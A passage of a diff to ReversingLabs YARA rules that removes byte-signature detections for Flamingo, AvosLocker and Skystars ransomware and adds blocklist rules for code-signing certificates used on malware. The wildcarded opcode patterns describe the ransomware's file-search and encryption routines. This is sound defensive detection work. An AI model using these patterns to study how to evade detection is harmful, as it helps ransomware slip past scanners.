?? ?? ?? 50 FF 52 ?? DB E2 89 85 ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 - ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 55 ?? 52 - FF 15 ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 51 ?? DB E2 89 - 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 - } - $scan_network_p4 = { - 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 - 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 50 8D 4D ?? 51 - FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? - 51 FF 50 ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 9B 68 ?? ?? ?? ?? EB ?? 8D - 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? - 83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C3 8D 85 ?? ?? ?? - ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? FF 15 ?? ?? ?? - ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? C3 8B 4D - ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B 45 ?? 8B 4D ?? 64 89 - 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "38:3c:a8:8d:6d:93:79:c7:40:60:95:60" and 1478250214 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_6731Cb1430F18B8C0C43Ab40E1154169 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "df2423da-37ec-5adc-8497-2ac975b0b7ff" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16818-L16834" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "c05349166919ffc18ac6ecb61b822a8365f87a82164c5e110ef94345bdc4de6f" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $scan_network_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3 AM CHP" and pe.signatures [ i ] . serial == "67:31:cb:14:30:f1:8b:8c:0c:43:ab:40:e1:15:41:69" and 1436313600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Flamingo : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_159505E6456B9A9352F7C47168D89B96 : INFO FILE { meta: - description = "Yara rule that detects Flamingo ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "333ef1f9-ac54-5a3d-9b2b-50483eeb93e1" - date = "2021-04-14" - modified = "2021-04-14" + id = "3d078c5d-e469-54f1-bd69-aebeec1c25f1" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Flamingo.yara#L1-L54" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16836-L16852" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "446c0d332af01c0fceb0356d5ab273eb55764869cc8343468b75625e5d4d1036" + logic_hash = "d6d0d5c86dd88afa29fb3c7cc3c0ab2e3401637a23e062ee9bab693a715cf16f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Flamingo" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? - ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 - ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 - C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? - 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 - 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 - C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F - 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $encrypt_files = { - 68 ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B CC C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? - ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85 - ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? 51 6A ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? - C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? - C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8B BD ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 47 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? - ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? - 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shan Feng" and pe.signatures [ i ] . serial == "15:95:05:e6:45:6b:9a:93:52:f7:c4:71:68:d8:9b:96" and 1469404800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Avoslocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_04A0E92B0B9Ebbb797Df6Ef52Bd5Ad05 : INFO FILE { meta: - description = "Yara rule that detects AvosLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a803283d-6424-5a64-89e6-c73a3322ba1e" - date = "2021-10-22" - modified = "2021-10-22" + id = "c6ba359e-4883-534d-bc86-8c063e54c92f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.AvosLocker.yara#L1-L108" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16854-L16870" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4d81b801a95a54a35989c4a985d92578971568d1412f625bca911d0fa1eee1fe" + logic_hash = "ff2a2d06c48bd3426fa42526d966152e3e7166c4170b4e08bb65ee5d876eda93" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "AvosLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF - B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 - 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 - ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 - C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? - ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 - } - $enum_resources = { - 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 57 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 33 DB 39 5D ?? 76 ?? 8D 77 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7E - ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? 39 46 ?? B9 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 8B D1 0F 45 56 ?? 8B C1 83 - 7E ?? ?? 0F 11 85 ?? ?? ?? ?? 0F 45 46 ?? 83 3E ?? 0F 28 05 ?? ?? ?? ?? 89 45 ?? 8B - C1 0F 45 06 83 7E ?? ?? 0F 11 45 ?? 89 45 ?? 8B C1 0F 28 05 ?? ?? ?? ?? 0F 45 46 ?? - 33 C9 0F 11 45 ?? 89 45 ?? 0F 28 05 ?? ?? ?? ?? 0F 11 45 ?? 8A 85 ?? ?? ?? ?? 30 84 - 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 52 FF 75 ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? FF 75 ?? - FF 75 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3E ?? 0F 84 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? - 59 83 F8 ?? 0F 86 ?? ?? ?? ?? 8B 06 80 78 ?? ?? 75 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 33 C0 66 C7 45 ?? ?? ?? C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? - 8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 FF 36 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 65 ?? ?? 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? - C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 83 4D ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? EB ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? - C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8 - ?? ?? ?? ?? 59 F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5D - ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15 - } - $import_key = { - 50 53 53 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? FF D6 50 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B1 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 30 8C 05 ?? ?? - ?? ?? 40 83 F8 ?? 73 ?? 8A 8D ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 59 0F 11 85 ?? ?? ?? ?? - 59 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 88 9D - ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 88 9D ?? ?? ?? - ?? FF D6 50 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 36 8D 45 ?? 89 9D ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? FF 76 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 83 C4 ?? 8B D7 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 84 C0 75 ?? 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 - 85 ?? ?? ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83 - F9 ?? 72 ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 50 E8 - ?? ?? ?? ?? 59 8D 4D ?? 85 C0 74 ?? 88 19 41 83 E8 ?? 75 ?? 39 9D ?? ?? ?? ?? 74 ?? - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 - } - $encrypt_files = { - 50 51 51 FF B5 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 8B BD ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 0F 84 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CE 85 C0 74 ?? C6 01 ?? 41 83 E8 ?? 75 ?? 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 59 83 C0 ?? 74 ?? 39 85 ?? ?? ?? ?? 72 ?? 50 8D 85 ?? ?? ?? - ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 - C4 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 59 57 40 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 6A ?? FF B5 ?? ?? ?? ?? 6A - ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? D1 EF 6A ?? 5A 74 ?? - 8B 9D ?? ?? ?? ?? 4B 03 DE 8A 03 8A 0C 32 88 04 32 42 88 0B 4B 3B D7 72 ?? 8B 9D ?? - ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 03 C3 56 50 E8 ?? ?? ?? ?? 03 DF 56 - 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? 47 81 C6 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 - B9 ?? ?? ?? ?? F7 F1 83 C4 ?? 40 3B F8 0F 82 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( $import_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "04:a0:e9:2b:0b:9e:bb:b7:97:df:6e:f5:2b:d5:ad:05" and 1479081600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Skystars : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_25F222Ab2613Dc4270B2Aabc2519A101 : INFO FILE { meta: - description = "Yara rule that detects Skystars ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9dc19bda-c5bd-58fb-8c4f-a7d8a6fbbce9" - date = "2020-11-20" - modified = "2020-11-20" + id = "4458df2d-82c2-5377-9746-101c2de52913" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Skystars.yara#L1-L97" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16872-L16888" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "352d22183b0974908ce684725fe85b4714ac5959c3bddf093b54383195881a5a" + logic_hash = "2c6673f6821c4ba11fc015cf3e9edefeb7c45209bc9dcd18501c4681444a9b9e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Skystars" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 - 6A ?? 6A ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB - 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? - 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? - ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D - ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? - 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A - ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? - 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF 33 - } - $search_files_p2 = { - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? - ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? - 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 - ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? - ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? - ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D ?? FF - 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D - ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? - 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 - ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 - } - $encrypt_files = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 - 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 - ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF - 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 68 ?? ?? - ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? - ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? - 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? - 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 - 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 